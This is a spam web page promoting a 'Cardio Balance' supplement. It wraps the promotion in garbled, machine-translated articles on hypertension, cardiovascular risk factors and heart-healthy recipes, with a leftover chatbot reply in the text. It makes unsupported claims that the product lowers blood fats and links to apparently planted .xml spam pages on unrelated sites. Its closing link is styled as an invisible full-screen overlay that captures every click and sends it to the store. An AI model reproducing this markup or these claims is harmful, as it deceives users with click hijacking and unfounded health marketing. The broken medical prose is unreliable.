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# The role of cardiovascular diseases # --- [![](https://cardio-balance-ph.store-best.net/img/4.jpg)](https://cardio-balance-ph.store-best.net) <div style="height:500px;"></div> ## Unlike high blood pressure hypertension ## Cardio Balance helps reduce blood fat levels by reducing the production of cholesterol and triglycerides in the body and improving the transportation of fats in the bloodstream. Unlike high blood pressure: differences between hypertension and transient increase in blood pressure In clinical practice, the concepts of high blood pressure and hypertension are often used interchangeably, which is not completely correct. A differentiated analysis shows significant differences between a temporary increase in blood pressure and chronic hypertension. Definitions Hypertension (arterial hypertension) is a chronic disease which is characterized by a persistently elevated blood pressure. According to the recommendations of the European society of cardiology (ESC) is assumed to be hypertension, when blood pressure values are repeated over 140/90 mmHg. Temporary increase in blood pressure (high blood pressure in the colloquial sense) a temporary increase in blood pressure, which is triggered by various external factors and to the elimination of this cause subsides referred to. Causes and triggers The key differentiation lies in the causes: Hypertension usually has multi-factorial causes. Risk factors include genetics, Obesity, unhealthy diet (high salt consumption), lack of physical activity, chronic Stress, and alcohol consumption. In about 90% of cases an essential or primary hypertension is, in no specific disease as the cause can be identified. In secondary hypertension, the increased blood pressure, however, is a consequence of another disease (e.g., kidney disease, hormonal disorders). A temporary increase in blood pressure may be due to acute factors, such as: severe Stress or emotional arousal, intense physical exertion, Caffeine consumption, Nicotine consumption or Pain be triggered. Diagnostic Criteria The decisive factor for differentiation, the duration and stability of the blood pressure increase is: For the diagnosis of hypertension, repeated measurements over a longer period of time are required (e.g., ambulatory 24‑hour blood pressure monitoring). A single high value is not enough. A uniquely identified increased blood pressure when measured at the doctor (for example, due to white coat hypertension, a Form of stress reaction) is not a document for chronic hypertension. Consequences and treatment Hypertension requires a long-term treatment strategy, drug therapy (e.g., ACE inhibitors, beta-blockers) and includes the style changes (weight loss, reduction of salt and alcohol, and regular physical activity). The goal is the reduction of blood pressure to below 140/90 mmHg, in order to reduce the risk for complications such as heart attack, stroke, kidney damage, and vascular diseases. A transient increase in needed in the rule, no drug treatment. It is useful to identify the triggers and avoid them wherever possible (e.g., stress management, reduction of caffeine). Conclusion Although both conditions have a high blood pressure reflect, is hypertension, a chronic, potentially harmful disease-specific treatment needs. A transient high blood pressure, however, is a normal physiological reaction of the body to certain stimuli and, as such, is not a disease. An accurate diagnosis is crucial to prevent unnecessary therapy, or conversely, a vital long-term treatment should be initiated. Ektrak mula sa prutas ng cranberry Ektrak mula sa prutas ng appleberry Magnesium L-Arginin Ektrak mula sa dahon at bulaklak ng hawthorn Pulbos ng bulaklak ng hibiscus Ektrak mula sa dahon ng oliba Ektrak mula sa buto ng ubas Ektrak mula sa black currant Coenzyme Q10 Bitamina B6 Folate > Ang arteryal na hypertension o hypertension ay isang kondisyon ng patuloy na systolic at diastolic na presyon ng dugo, kung saan ang mga sukatan ay lumalagpas sa 140/90 mmHg. Ang mataas na presyon ay nagpapakita ng mga hindi komportableng sintomas. ![](https://cardio-balance-ph.store-best.net/img/2.jpg) <a href="http://g-shocktou.com/user_file/products-for-high-blood-pressure-307.xml">The role of cardiovascular diseases</a> Cardio Balance helps reduce blood fat levels by reducing the production of cholesterol and triglycerides in the body and improving the transportation of fats in the bloodstream. <a href="http://geoman.cz/data/5726-diseases-of-the-circulatory-system-heart-defects.xml">http://geoman.cz/data/5726-diseases-of-the-circulatory-system-heart-defects.xml</a> Cardiovascular diseases: Knowledge is the first step to prevention! Your heart beats about 100 000 times per day — an impressive feat, which is often taken for granted. Cardiovascular diseases are the most common causes of death worldwide. Why is education so important? Every year millions of people die from diseases of the circulatory system — many of these cases, however, would be avoided. Risk factors such as unhealthy diet, lack of exercise, Stress, Obesity, and Smoking damage your heart and blood vessels in the long term. What can you do? Protect your most precious Organ! With a small, but effective steps, you can reduce your risk significantly: Regular physical activity (at least 30 minutes a day) Well-balanced, heart-healthy diet with lots of fruits and vegetables Stress management and adequate sleep Regular Health Checks: Blood Pressure, Cholesterol, Blood Sugar Waiver of Smoking and excessive alcohol consumption Our offer: your way to a healthier cardiovascular System Our Team of experts provides you with: Personal advice from cardiologists and prevention specialists Comprehensive risk assessment and individual prevention plans Advanced diagnostics for early detection of risks Support in the implementation of healthy lifestyle habits You invest in your heart you invest in your life! To arrange an appointment: 📞 0800 123 4567 📧 info@herzgesundheit.de Visit our Website: www.herzgesundheit.de for more information, useful tips and success stories. Your heart deserves the best care. You can start today! ## Recipes for cardiovascular diseases ## Recipes for cardiovascular disease: Healthy cuisine as a way to improve Cardiovascular disease causes are the most frequent causes of death worldwide. However, many people underestimate the impact of your diet on heart health. A balanced and heart-healthy diet can not only reduce the risk of diseases, but also in already existing complaints help to improve the condition. What recipes are especially good for people with cardiovascular problems? Principles of a heart-healthy diet Before the start, it is important to know some of the nutrition rules that support the heart: Less salt: A reduced salt consumption lowers the blood pressure. Instead, herbs and spices should be used for Seasoning used. More fiber: whole-grain products, fruits and vegetables promote bowel activity and help to lower the cholesterol. Healthy fats: olive oil, Avocados and nuts provide unsaturated fatty acids, which are the heart of advantage. Less saturated fats: meat with a high fat content, sausage and full-fat dairy products should be avoided. A lot of vegetables and fruit: a Minimum of five servings per day to meet the needs of vitamins, minerals, and antioxidants. Practical Recipe Ideas Here are some simple but effective recipes that follow the above rules are: Salmon with Quinoa and roasted broccoli Ingredients: 200 g salmon fillet, 100 g of Quinoa, 200 g broccoli, olive oil, lemon juice, fresh herbs (Dill, parsley). Preparation: place The salmon in the oven or on the Grill, prepare the Quinoa according to the instructions cook broccoli in brown in olive oil. With lemon juice and herbs and spice. Salmon Omega‑3 fatty acids provides, Quinoa is fiber and protein, broccoli is rich in Vitamin C. Vegetable soup with lentils Ingredients: 100 g of red lentils, 1 onion, 1 carrot, 1 celery, garlic, tomatoes, herbs. Preparation: sauté onion and garlic, carrots and celery, pour in vegetable broth. Lentils and add the tomatoes and about 20 minutes to simmer. With Basil and Oregano seasoning. Lentils are an excellent source of fiber and vegetable protein. Fruit salad with nuts and yogurt Ingredients: Apple, pear, grapes, berries, 2 TBSP walnuts, 150 ml natural yogurt (low Fat). Preparation: fruit cut into pieces, with the yogurt and mix with the walnuts and sprinkle. Walnuts contain healthy fatty acids and the yogurt provides calcium. Why, these recipes will help This dishes are not only tasty, but also support the heart on multiple levels: They are low in saturated fat and salt. They contain plenty of fiber can reduce cholesterol. The Omega‑3 fatty acids from fish and nuts have anti-inflammatory effects and protect the blood vessels. Vitamins and antioxidants from vegetables and fruits strengthen the immune system, and protect against cell damage. Conclusion A heart-healthy diet does not have to be boring. With creative recipes and lots of fresh ingredients daily menu variety is rich and nutritious make. By dispensing with salt, healthy fats, and fiber integrated and processed food is dispensed, you can support his heart effectively and at the same time enjoy the food experience. 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Cardiovascular disease causes are one of the leading death in the world. Every year millions of people from diseases of the heart and blood die vessels, although many of these cases are preventable. But what leads to such diseases? In this post, we look at the most important risk factors, and show you in an easy to read table. The causes of cardiovascular disease are diverse and often interrelated. They can be roughly divided into modifiable (controllable) and non-modifiable (non-modifiable) factors divide. Among the non-modifiable factors include age, gender, and genetic predisposition. With increasing age, the risk for heart issues. Men are up to 50. The age of affected more often than women, after Menopause, the risk for women increases significantly. A family history can also increase the individual's risk. Much greater is the importance of the modifiable risk factors to which everyone self-control. These include: Unhealthy diet: Too much salt, saturated fat and sugar increase blood pressure and cholesterol levels. Lack of exercise: Regular physical activity strengthens the heart and lowers the risk. Smoking: nicotine and other harmful substances damage the blood vessels and increase the risk of heart attacks. Overweight and obesity: Overweight, the heart is burdened and benefited Diabetes and high blood pressure. High blood pressure (hypertension): A permanently high blood pressure damages the walls of the vessel. Diabetes mellitus: high blood sugar damages the long-term vessels. Stress: Chronic Stress can increase blood pressure and heart rate and to unhealthy behavior. By setting any of these factors, the risk for cardiovascular disease can be significantly reduced. Prevention begins in the everyday life: with a healthy diet, adequate exercise, not Smoking, and stress management. Table: causes and risk factors of cardiovascular diseases Risk factor description ways to reduce Age-The risk increases with age. Periodic medical examinations from the age of 40 years. Gender men up to 50 years are more likely to be affected; after Menopause, the risk for women increases. Early prevention and education. Genetics, Family history increases the individual's risk. Health awareness, risk factors can be minimized. An unhealthy diet High in salt, sugar and fat content in food. More fruit, vegetables, dietary fiber, less processed foods. Lack of exercise, Too little physical activity weakens the heart and circulatory System. At least 150 minutes of moderate exercise per week (e.g. Walking, Cycling). Smoking Damages blood vessels, increases heart rate and blood pressure. Stop Smoking; help through counselling or therapy. Excess weight Increases the strain on the heart and blood vessels, promotes Diabetes. A balanced diet and sports; weight control. High blood pressure Permanently elevated blood pressure strains the heart and kidneys. Blood pressure can be measured, taking medication, healthy lifestyle. Diabetes high blood sugar damages blood vessel walls. Blood Sugar Control, Food Management, Medication. Stress-Chronic Stress increases blood pressure and promotes unhealthy habits. Relaxation techniques (Yoga, Meditation), sleep, social support. This table gives an Overview of the most important causes, and it also shows how you can reduce the individual's own risk. Cardio‑must be a disease no fate — targeted prevention much effect. You want me to exporting a portion of the text, or the table, or adaptive? <a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">The role of cardiovascular diseases</a>